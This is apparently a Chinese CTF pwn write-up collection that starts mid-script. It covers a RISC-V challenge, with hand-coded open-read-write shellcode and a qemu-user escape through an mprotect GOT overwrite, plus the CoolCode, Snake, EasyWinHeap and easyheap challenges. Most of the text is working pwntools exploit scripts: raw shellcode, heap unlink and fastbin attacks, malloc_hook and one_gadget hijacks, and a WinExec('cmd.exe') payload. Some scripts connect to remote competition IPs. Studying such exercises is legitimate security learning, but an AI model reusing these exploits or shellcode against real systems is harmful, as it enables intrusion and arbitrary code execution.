hex(mprotect)) # set name p.recvuntil(b"input your name: ") name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0) p.send(name) #0x3f000000400ff8 lock(-2) add(0xdeadbeef) #0 show() p.recvuntil(b"name: ") encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True)) print("encode_csu_gadget_1:", hex(encode_csu_gadget_1)) signed_csu_gadget_1 = unshift(encode_csu_gadget_1) print("signed_csu_gadget_1:", hex(signed_csu_gadget_1)) lock(-1) auth(-1) # stack overflow payload = b"a"*0x28 payload += p64(signed_csu_gadget_1) payload += p64(csu_gadget_2)*2 payload += p64(0) + p64(1) payload += p64(read_got) + p64(0) payload += p64(0x412060) + p64(100) payload += p64(main_addr) + p64(main_addr) payload += p64(csu_gadget_2) p.sendline(payload) p.sendline(p64(system)+b"/bin/sh\x00") # set name p.recvuntil(b"input your name: ") name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0) p.send(name) #0x3f000000400ff8 lock(-2) add(0xdeadbeef) #0 show() p.recvuntil(b"name: ") encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True)) print("encode_csu_gadget_1:", hex(encode_csu_gadget_1)) signed_csu_gadget_1 = unshift(encode_csu_gadget_1) print("signed_csu_gadget_1:", hex(signed_csu_gadget_1)) lock(-1) auth(-1) # stack overflow payload = b"a"*0x28 payload += p64(signed_csu_gadget_1) payload += p64(csu_gadget_2)*2 payload += p64(0) + p64(1) payload += p64(0x412060) + p64(0x412060+0x8) payload += p64(0) + p64(0) payload += p64(main_addr) + p64(main_addr) payload += p64(csu_gadget_2) p.sendline(payload) p.interactive() def proof_of_work(p): p.recvuntil("xxxx+") suffix = p.recv(16).decode("utf8") p.recvuntil("== ") cipher = p.recvline().strip().decode("utf8") proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed') p.sendlineafter("Give me xxxx:", proof) if __name__ == "__main__": proof_of_work(p) exp()Favourite Architecure flag1RISCV PWN，憋shellcode远程栈固定，本地写完后稍加修改就打通了远程栈溢出后用主函数末尾的gadget跳到自定义的一个栈位置上开始执行编辑好的orw shellcodeRISCV的shellcode编写可以借助Ghidra右键patch功能（会显示16进制代码）EXP：from pwn import * #p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"]) #p = process(argv=["./qemu-riscv64", "./main"]) p = remote("119.28.89.167", 60001) #p = remote("127.0.0.1", 60001) context.log_level = "debug" #context.arch = "riscv64" elf = ELF("./main") # overflow offset: 0x120 # ret_addr: 0x11300 def exp(): p.recvuntil(b"Input the flag: ") #p.sendline(b"a"*0x4b8) ## openat(root, "/home/pwn/flag") shellcode = b"\x01\x45" #c.li a0, 0 shellcode += b"\x01\x11" #c.addi sp -0x20 shellcode += b"\x8a\x85" #c.mv a1, sp shellcode += b"\x01\x46" #c.li a2, 0 shellcode += b"\x93\x08\x80\x03" #li a7, 56 shellcode += b"\x73\x00\x00\x00" #ecall ## read(flag_fd, reg_sp, 30) shellcode += b"\x0d\x45" #c.li a0, 5 shellcode += b"\x8a\x85" #c.mv a1, sp shellcode += b"\x13\x06\x20\x03" #c.li a2, 30 shellcode += b"\x93\x08\xf0\x03" #li a7, 63 shellcode += b"\x73\x00\x00\x00" #ecall ## write(1, reg_sp, 30) shellcode += b"\x05\x45" #c.li a0, 5 shellcode += b"\x8a\x85" #c.mv a1, sp shellcode += b"\x13\x06\x20\x03" #c.li a2, 30 shellcode += b"\x93\x08\x00\x04" #li a7, 63 shellcode += b"\x73\x00\x00\x00" #ecall print("shellcode len:", hex(len(shellcode))) shellcode = shellcode.ljust(0x40, b"\x00")+b"/home/pwn/flag\x00" payload = b"a"*0x120+p64(0x1058a) payload = payload.ljust(0x2c8, b"a") payload += shellcode payload = payload.ljust(0x320, b"a") payload += p64(0x4000800e10) p.sendline(payload) p.interactive() if __name__ == "__main__": exp()Favourite Architecure flag2接着上一题，不过为了有足够的空间需要把shellcode的位置做调整，sp的位置做调整，以便读取/proc/self/maps泄露地址观察了qemu的源码以及实际测试发现，qemu-user没有做好地址隔离，如果泄露出地址后借助mprotect修改qemu got表所在段权限，修改mprotect函数got表就可以执行system("/bin/sh\x00")坑点：shellcode位置要安排好，以免读文件覆盖掉shellcodeqemu对/proc/self/maps路径做了限制，可以改成/home/**/proc/self/maps来绕过qemu-user地址隔离做的不好，直接vmmap虽然看不到qemu的内存，但是可以用mprotect修改其权限，改掉之后在调试器中hexdump就可以看到内存了如果想修改mprotect_got指向system要注意，在进入mprotect系统调用时qemu会检查第一个参数的地址是否页对齐，对齐了才会call mprotect_got上的指针。这导致在利用时需要先把flag存到bss或者data段某些页对齐的地址上（大坑源码： if ((start & ~TARGET_PAGE_MASK) != 0) return -EINVAL;注意li指令立即数大小有限制，可以结合位运算扩大EXP：from pwn import * import time #p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"]) #p = process(argv=["./qemu-riscv64", "./main"]) p = remote("119.28.89.167", 60001) #p = remote("127.0.0.1", 60001) libc = ELF("./libc-2.27.so") context.log_level = "debug" #context.arch = "riscv64" elf = ELF("./main") # overflow offset: 0x120 # ret_addr: 0x11300 def exp(): p.recvuntil(b"Input the flag: ") #p.sendline(b"a"*0x4b8) ## openat(root, path, 0) shellcode = b"\x01\x45" #c.li a0, 0 shellcode += b"\x8a\x85" #c.mv a1, sp shellcode += b"\x01\x46" #c.li a2, 0 shellcode += b"\x93\x08\x80\x03" #li a7, 56 shellcode += b"\x73\x00\x00\x00" #ecall ## read(flag_fd, reg_sp, 30) shellcode += b"\x0d\x45" #c.li a0, 3 #shellcode += b"\x15\x45" #c.li a0, 5 shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500 shellcode += b"\x8a\x85" #c.mv a1, sp shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500 shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0 shellcode += b"\x93\x08\xf0\x03" #li a7, 63 shellcode += b"\x73\x00\x00\x00" #ecall ## write(1, reg_sp, 30) shellcode += b"\x05\x45" #c.li a0, 1 shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500 shellcode += b"\x8a\x85" #c.mv a1, sp shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500 shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0 shellcode += b"\x93\x08\x00\x04" #li a7, 63 shellcode += b"\x73\x00\x00\x00" #ecall ## read(0, reg_sp, 0x10) shellcode += b"\x01\x45" #c.li a0, 0 shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500 shellcode += b"\x8a\x85" #c.mv a1, sp shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500 shellcode += b"\x41\x46" #c.li a2, 0x10 shellcode += b"\x93\x08\xf0\x03" #li a7, 63 shellcode += b"\x73\x00\x00\x00" #ecall shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500 shellcode += b"\x02\x64" #c.ldsp s0, 0x0(sp) => qemu_base_2 shellcode += b"\xa2\x64" #c.ldsp s1, 0x8(sp) => mprotect_got shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500 ## mprotect(start, len, 7) shellcode += b"\x13\x05\x04\x00" #mv a0, s0 shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0xc shellcode += b"\x1d\x46" #c.li a2, 0x7 shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect) shellcode += b"\x73\x00\x00\x00" #ecall ## write(1, mprotect_got, 0x8) shellcode += b"\x05\x45" #c.li a0, 1 shellcode += b"\xa6\x85" #c.mv a1, s1 shellcode += b"\x13\x06\x80\x00" #li a2, 0x8 shellcode += b"\x93\x08\x00\x04" #li a7, 63 shellcode += b"\x73\x00\x00\x00" #ecall ## read(0, mprotect_got, 8) shellcode += b"\x01\x45" #c.li a0, 0 shellcode += b"\x93\x85\x04\x00" #mv a1, s1 => mprotect_got shellcode += b"\x21\x46" #c.li a2, 0x8 shellcode += b"\x93\x08\xf0\x03" #li a7, 63 shellcode += b"\x73\x00\x00\x00" #ecall ## store "/bin/sh" to 0x6d000 (PAGE_MASK_ADDR) shellcode += b"\x13\x01\x81\x01" #addi sp, 0x18 shellcode += b"\x03\x39\x01\x00" #ld s2, 0x0(sp) load "/bin/sh" shellcode += b"\x13\x01\x81\xfe" #addi sp, -0x18 shellcode += b"\x13\x01\xd0\x06" #li sp, 0x6d shellcode += b"\x13\x11\xc1\x00" #slli sp, sp, 0x4 shellcode += b"\x23\x30\x21\x01" #sd s2, 0x0(sp) store "/bin/sh" ## system("/bin/sh") shellcode += b"\x13\x05\x01\x00" #mv a0, sp shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0x18 shellcode += b"\x1d\x46" #c.li a2, 0x7 shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect) shellcode += b"\x73\x00\x00\x00" #ecall print("shellcode len:", hex(len(shellcode))) payload = b"a"*0x120+p64(0x1058a) payload += shellcode payload = payload.ljust(0x320, b"a") payload += p64(0x4000800c70) payload += b"/proc/self/task/../maps\x00/bin/sh\x00" p.sendline(payload) #time.sleep(1) for i in range(6): p.recvuntil(b"\n") qemu_base = int(p.recvuntil(b"-", drop=True), 16) p.recvuntil(b"\n") qemu_base_2 = int(p.recvuntil(b"-", drop=True), 16) p.recv() do_syscall_1 = qemu_base + 0x141100 do_syscall = qemu_base + 0x14cb50 mprotect_got = qemu_base + 0x6A3200 print("[*] qemu_base:", hex(qemu_base)) print("[*] do_syscall_1:", hex(do_syscall_1)) print("[*] mprotect_got:", hex(mprotect_got)) print("[*] qemu_base_2:", hex(qemu_base_2)) p.send(p64(qemu_base_2)+p64(mprotect_got)) mprotect_libc = u64(p.recv(8)) libc_base = mprotect_libc - libc.symbols[b"__mprotect"] system = libc_base + libc.symbols[b"system"] print("[*] mprotect_libc:", hex(mprotect_libc)) print("[*] libc_base:", hex(libc_base)) print("[*] system:", hex(system)) p.send(p64(system)) p.interactive() if __name__ == "__main__": exp()
解题思路综合了wp和比赛时的思路，做了一点简化CoolCode这题一开始粗心了，没看见有个逻辑漏洞导致可以绕过可见字符判断，但是在这种情况下sad师傅还是吧shellcode构造出来了，实属牛批…..分析 add功能在bss段保存堆指针，但是没限制index可以为负数，导致可以覆盖got表为堆指针 add功能在读取输入的时候会用一个函数检查输入中是否包含了非数字和大写字母内容，如果有则调用exit结束程序。但是这个函数存在一个逻辑漏洞，当输入长度为1时，for循环不会进入，导致存在1字节的无效过滤。 只要覆盖free_got到堆上，并写入ret指令对应的字节b"\xc3″，就可以在exit时返回继续执行，绕过检查。（虽然绕过了检查，但是由于程序使用strncpy拷贝内容，还要注意\x00截断问题） if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容 { puts("read error."); exit(1); } signed __int64 __fastcall filter_input(__int64 buf, int len) { int i; // [rsp+14h] [rbp-8h] for ( i = 0; i < len - 1; ++i ) { if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9 && (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母 { return 1LL; // error } } return 0LL; } 堆上有执行权限，可以考虑构造read调用把shellcode读到write_got指向的堆上执行（只要加好偏移，执行完read调用后就会立刻执行shellcode） 程序开启了seccomp保护，只剩下部分系统调用号，其中fstat刚好对应32位下的open，于是想到在shellcode中可以使用retf切换到32位打开“./flag"再回到64位read&write。（这里是难点，retf通过pop ip和pop cs改变程序位数，要注意retf在构造栈时需要按照32位栈来构造） 最后从返回中读取flag即可 EXPfrom pwn import * p=process("./coolcode") context.log_level = "debug" #p=remote("39.107.119.192",9999) def add(index,content): p.recvuntil(b"Your choice :") p.sendline(b"1") p.recvuntil(b"Index: ") p.sendline(str(index).encode()) p.recvuntil(b"messages: ") p.send(content) def show(index): p.recvuntil(b"Your choice :") p.sendline(b"2") p.recvuntil(b"Index: ") p.sendline(str(index).encode()) def delete(index): p.recvuntil(b"Your choice :") p.sendline(b"3") p.recvuntil(b"Index: ") p.sendline(str(index).encode()) def exp(): #gdb.attach(p,"b *0x400E61\nc\n") # no \x00 read_shellcode = ''' xor rdi, rdi; sub rsi, 0x30 mov rdx, rsi; xor rax, rax; syscall; ''' read_shellcode = asm(read_shellcode, arch="amd64") add(-22, "\xc3") # exit_got->ret add(-34, read_shellcode) # write_got add(0, "CCCCCCCC") show(0) shellcode = "" a = ''' add rcx, 19; mov rbx, 0x23 SHL rbx, 32; add rcx, rbx; push rcx; retf mov esp, edx ''' shellcode += asm(a,arch="amd64"); b = ''' mov eax, 5; push 0x00006761; push 0x6c662f2e; mov ebx, esp; mov ecx, 0; int 0x80; add edx, 0x43; push 0x33 push edx retf ''' shellcode += asm(b,arch="i386"); c = ''' mov rdi, rax; mov rsi, 0x602100; mov rdx, 0x40; mov rax, 0; syscall; mov rdi, 1; mov rsi, 0x602100; mov rdx, 0x40; mov rax, 1; syscall; ''' shellcode += asm(c,arch="amd64"); p.sendline("\x90"*0xe+shellcode) show(0) p.interactive() if __name__ == "__main__": exp() Snake是个趣味题，思路不难，关键是io量太大了，容易卡住…分析 程序是个贪吃蛇游戏，游戏地图和玩家姓名保存在堆上。假如游戏死亡，会根据死亡位置让你留下一段信息，这段信息写在存着地图的堆块上。经过测试，只要在右下角死亡，就会存在off_by_one，可以修改下一堆块的prev_size和size的低字节。 由于保存姓名的堆块大小有限制，不能为unsorted_bin，于是通过off_by_one的修改出一个unsorted_bin，同时构造一个overlapping。 泄露出unsorted_arena计算出libc_base，并利用overlapping修改其中fast_chunk的指针，把堆块分配到malloc_hook。 最后往malloc多试几个one_gadget就可以getshell了 要注意，在写脚本的时候，recv()一次游戏只会刷新一帧，需要写一个while循环send(“s”)方向键直到出现死亡信息。 EXPfrom pwn import * import time p = process("./snake") context.log_level = "debug" #p = remote("39.107.244.116",9999) def add(index,length,name): p.recvuntil(b"4.start name\n") p.sendline(b"1") p.recvuntil(b"index?\n") p.sendline(str(index).encode()) p.recvuntil(b"how long?\n") p.sendline(str(length).encode()) p.recvuntil(b"name?\n") p.sendline(name) def delete(index): p.recvuntil(b"4.start name\n") p.sendline(b"2") p.recvuntil(b"index?\n") p.sendline(str(index).encode()) def get(index): p.recvuntil(b"4.start name\n") p.sendline(b"3") p.recvuntil(b"index?\n") p.sendline(str(index).encode()) def start(): p.recvuntil(b"4.start name\n") p.sendline(b"4") def play2die(): while(1): ret = p.recv() if b"please leave words:\n" in ret: break else: p.send("s") time.sleep(0.6) def exp(): p.recvuntil(b"how long?\n") p.sendline(b"96") p.recvuntil(b"input name\n") list_start = 0x603140 #name_ptr_list name = b"A"*8 p.sendline(name) play2die() words = b"123123" p.sendline(words) p.recvuntil(b"if you want to exit?\n") p.sendline(b"n") add(1,0x60,b"BBBBBBBB") add(2,0x20,p64(0xf0)+p64(0x21)) start() play2die() words = b"A"*(4+0x40) + b"B"*8 + b"\xf1" p.send(words) p.recvuntil(b"if you want to exit?\n") p.sendline(b"n") delete(0) delete(1) start() p.recv(13) unsorted_arena = u64(p.recv(6).ljust(8,b"\x00")) libc_base = unsorted_arena - 0x3C4B20 - 0x58 fake_chunk_start = libc_base + 0x3C4AED one_gadget = libc_base + 0xf1147 malloc_hook = libc_base + 0x3c4b10 print("unsorted_arena",hex(unsorted_arena)) print("libc_base",hex(libc_base)) print("fake_chunk_start",hex(fake_chunk_start)) print("one_gadget",hex(one_gadget)) print("malloc_hook",hex(malloc_hook)) play2die() words = b"123123" p.sendline(words) p.recvuntil(b"if you want to exit?\n") p.sendline(b"n") add(0,0x50,b"AAAAAAAA") add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start)) add(3,0x60,b"DDDDDDDD") add(4,0x60,b"A"*0x13+p64(one_gadget)) print("one_gadget",hex(one_gadget)) print("malloc_hook",hex(malloc_hook)) p.recvuntil(b"4.start name\n") p.sendline(b"1") p.recvuntil(b"index?\n") p.sendline(str(5).encode()) p.recvuntil(b"how long?\n") p.sendline(str(16).encode()) p.interactive() if __name__ == "__main__": exp() EasyWinHeap这题比赛的时候没做…比赛结束后搭建了好久的winpwn环境，然后向sad学习了一下windbg的调试。关于windows的很多机制，之前没了解过，大部分来自于网上一点点的资料，还有《程序员的自我修养》。所以讲不了很详细，如果哪位师傅有详细的win堆管理机制学习资料劳烦嫖一份~分析程序逻辑不复杂，甚至存在很多漏洞 alloc的时候将将 puts函数指针 | ((size>>4)+1) 之后和堆指针一起放置在堆上。然后在show的时候通过&0xFFFFFFF0 运算还原函数指针，然后puts堆上内容。（其实调试的时候发现函数指针最低位的变化不用考虑，应该只是做混淆）附：堆上指针保存位置 0:004> dd 0x1270490 0x1270600 01270490 b1dc07df 080013cd 00011048 01270520 012704a0 00011048 01270530 00011048 01270540 012704b0 00011048 01270550 00011048 01270560 012704c0 00011048 01270570 00000000 00000000 alloc的size并不是输入的size，而是之前的(size>>4)+1，但是edit的时候却是按照size长度来输入。明显存在堆溢出。 考虑修改堆上的puts指针为system或winexev的指针，然后把堆内容写"cmd.exe"作为参数（在我的系统版本，system地址包含了\x0a，导致输入会被破坏，于是只能使用winexec）。而winexev在kernel32中，和HeapFree一样，于是需要先泄露HeapFree的地址来计算偏移。既然要泄露HeapFree地址，就要把堆上保存的堆指针覆盖为HeapFree的iat地址。既然需要控制堆上指针，就需要构造unlink（win下的unlink与Linux稍有不同，主要是fd和bk都指向用户可控区域）。附：堆结构 01270510 00000000 00000000 a2dc07cc 0800134e 01270520 012700c0 012700c0 a2dc07cc 0800135d 01270530 012700c0 012700c0 a3dd07cc 0000135d 01270540 01270580 01270560 a2dc07cc 0800135d 01270550 012700c0 012700c0 a3dd07cc 0000135d 01270560 01270540 012700c0 a2dc07cc 0800135d 01270570 012700c0 012700c0 efdd0483 0000135d 01270580 012700c0 01270540 00000000 00000000 01270590 00000000 00000000 00000000 00000000 unlink构造完后就可以达成任意读写，这时只需要泄露出puts指针，计算出image_base，就衔接上了第三点的逻辑。 需要注意的是，由于edit输入后，末尾会存在00截断，导致破坏堆上原有内容，所以需要合理安排堆布局，并通过泄露部分内容以便在输入时顺便修补（详见EXP）。 EXPfrom winpwn import * context.arch='i386' #context.log_level='debug' context.windbg="C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_1.2001.2001.0_neutral__8wekyb3d8bbwe\\DbgX.Shell.exe" p=process("./EasyWinHeap.exe") #windbg.attach(p) def add(size): p.recvuntil("option >") p.sendline("1") p.sendline(str(size)) def free(index): p.recvuntil("option >") p.sendline("2") p.recvuntil("index >") p.sendline(str(index)) def show(index): p.recvuntil("option >") p.sendline("3") p.recvuntil("index >") p.sendline(str(index)) def edit(index,content): p.recvuntil("option >") p.sendline("4") p.recvuntil("index >") p.sendline(str(index)) p.recvuntil("content >") p.sendline(content) add(0x70) #idx0 add(0x70) #idx1 add(0x70) #idx2 add(0x70) #idx3 add(0x70) #idx4 add(0x70) #idx5 #windbg.attach(p) free(2) free(4) #windbg.attach(p) show(2) #过滤换行 p.recvuntil("\r\n") ret = p.recvuntil("\r\n") print("len(ret):",len(ret)) heap_base = u32(ret[:4]) - 0x580 idx2pptr = heap_base + 0x4a0 + 0x4*3 #0x4ac print("heap_base:", hex(heap_base)) #泄露堆地址 print("idx2pptr:", hex(idx2pptr)) #伪造指针 #这里的ret[8:12]就是上一步额外泄露的内容，目的是修补堆块 edit(2, p32(idx2pptr-0x4)+p32(idx2pptr)+ret[8:12]) #windbg.attach(p) #dd 0x1270490 0x1270600 #unlink free(1) #leak image_base & winexec/system edit(2, p32(idx2pptr+0x10)) #windbg.attach(p) show(2) p.recvuntil("\r\n") #过滤换行 p.recv(4) image_leak = u32(p.recv(3).ljust(4,"\x00")) image_base = image_leak - 0x1048 idata_heapfree = image_base + 0x2004 print("image_leak:", hex(image_leak)) print("image_base:", hex(image_base)) print("idata_heapfree:", hex(idata_heapfree)) edit(2, p32(idata_heapfree)) #windbg.attach(p) show(4) p.recvuntil("\r\n") #过滤换行 heapfree = u32(p.recv(4)) winexec = heapfree - 0x11D10 + 0x5EA90 print("puts:", hex(heapfree)) print("winexec:", hex(winexec)) edit(3, "cmd.exe") edit(2, p32(idx2pptr+0x4)) edit(4, p32(winexec)+p32(heap_base+0x550)) #windbg.attach(p) p.recvuntil("option >") p.sendline("3") p.interactive() 注意该exp对堆地址字节数有限制（4字节），所以有时要多跑几遍。
直接用shellcode解的方法比较容易，但是另一种攻击stdout泄露地址的方法更为巧妙0x00 预期解，使用shellcode思路：拿到mmap的地址，以及程序基地址构造unlink拿到bss段上的控制权往mmap段（rwx权限）写入shellcode在bss上构造fake chunk后free掉，拿到unsorted_bin_arena改写为malloc_hook写malloc_hook为mmap的地址踩坑：第0个堆块大小没分配够导致后面写的能力不够，小问题第1的堆块大小没弄对，因为要保证通过检测的情况下，利用off_by_null修改第一个字节，第1个堆块只能申请为0xf8或者0xf0（p->size为0×101，offbynull后为0×100)最后free fake_chunk的时候报错，发现因为我只在fake_chunk后面构造了一个0×21的chunk，导致free后的chunk与该chunk发生合并，检测出错。于是再增加一个0×21的chunk阻止合并即可。expfrom pwn import * p = process("./easyheap") elf = ELF("./easyheap") libc = ELF("./libc.so.6") context.log_level = "debug" context.arch = "amd64" def alloc(size:int): p.recvuntil(">> ") p.sendline(b"1") p.recvuntil("Size: ") p.sendline(str(size).encode()) def delete(index:int): p.recvuntil(">> ") p.sendline(b"2") p.recvuntil("Index: ") p.sendline(str(index).encode()) def fill(index:int,content): p.recvuntil(">> ") p.sendline(b"3") p.recvuntil("Index: ") p.sendline(str(index).encode()) p.recvuntil("Content: ") p.sendline(content) def exp(): p.recvuntil(b"Mmap: ") # leak addr mmap_addr = int(p.recvuntil('\n',drop=True),16) print("mmap_addr:",hex(mmap_addr)) alloc(0xf8) #idx0 p.recvuntil(b"chunk at [0] Pointer Address ") p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068 print("p_base:",hex(p_base)) # unlink alloc(0xf8) #idx1 alloc(0x20) #idx2 target = p_base + 0x202068 fd = target - 0x18 bk = target - 0x10 payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0) fill(0,payload1) #gdb.attach(p) delete(1) #gdb.attach(p) # write shellcode to mmap_addr payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140) payload2 += p64(mmap_addr) fill(0,payload2) fill(1,asm(shellcraft.sh())) # # get malloc_hook_addr payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88 payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful fill(0,payload3) #gdb.attach(p) delete(1) # free fake_chunk fill(0,p64(0)*3 + p64(0x20) + b"\x10") fill(3,p64(mmap_addr)) alloc(0x20) # get_shell p.interactive() if __name__ == "__main__": exp()0x01 攻击stdout的方法思路构造overlappingfastbin attack拿到stdout写，获得libc_basefastbin attack攻击malloc hook细节标注在exp的注释中expfrom pwn import * p = process("./easyheap") elf = ELF("./easyheap") libc = ELF("./libc.so.6") context.log_level = "debug" def alloc(size:int): p.recvuntil(b">> ") p.sendline(b"1") p.recvuntil("Size: ") p.sendline(str(size).encode()) def delete(index:int): p.recvuntil(b">> ") p.sendline(b"2") p.recvuntil("Index: ") p.sendline(str(index).encode()) def fill(index:int,content): p.recvuntil(b">> ") p.sendline(b"3") p.recvuntil(b"Index: ") p.sendline(str(index).encode()) p.recvuntil(b"Content: ") p.sendline(content) #IO_FILE def exp(): #构造overlapping alloc(0x88) #idx0 alloc(0x68) #idx1 alloc(0xf8) #idx2 alloc(0x10) #idx3 delete(0) payload1 = b"a"*0x60 + p64(0x100) fill(1,payload1) delete(2) # unlink&overlapping delete(1) #gdb.attach(p) #让中间的fast chunk出现unsorted arena的地址，便于部分写后跳转到stdout附近的fakechunk alloc(0x88) #idx0 delete(0) #攻击stdout alloc(0x100) #idx0 用于控制中间的fastchunk payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25" #fakechunk offset fill(0,payload2) alloc(0x68) #idx1 alloc(0x68) #idx2 stdout fakechunk #payload3最后的\x00是覆盖了char* _IO_write_base的低位，控制输出的起始位置 payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00" fill(2,payload3) #获取输出并计算libc_base和一些必要地址 base_offset = 0x3C56A4 malloc_hook_fakechunk_offset = 0x3C4AED realloc_offset = 0x846c0 one_gadget_offset = 0xf1147 p.recv(0x48) libc_base = u64(p.recv(8)) - base_offset malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset realloc = libc_base + realloc_offset one_gadget = libc_base + one_gadget_offset print("libc base:",hex(libc_base)) print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk)) print("realloc:",hex(realloc)) print("one_gadget:",hex(one_gadget)) #利用fastbin attack分配fake chunk到malloc hook附近 delete(1) #修复fastbin，否则无法进行fastbin attack payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr fill(0,payload4) alloc(0x68) #idx1 alloc(0x68) #idx4 malloc_hook_fakechunk #malloc_hook to one_gadget #直接malloc_hook->gadget无法getshell，尝试先跳到realloc调整栈 payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc) fill(4,payload5) alloc(0x10) #跑几次脚本看运气弹shell p.interactive() if __name__ == "__main__": exp()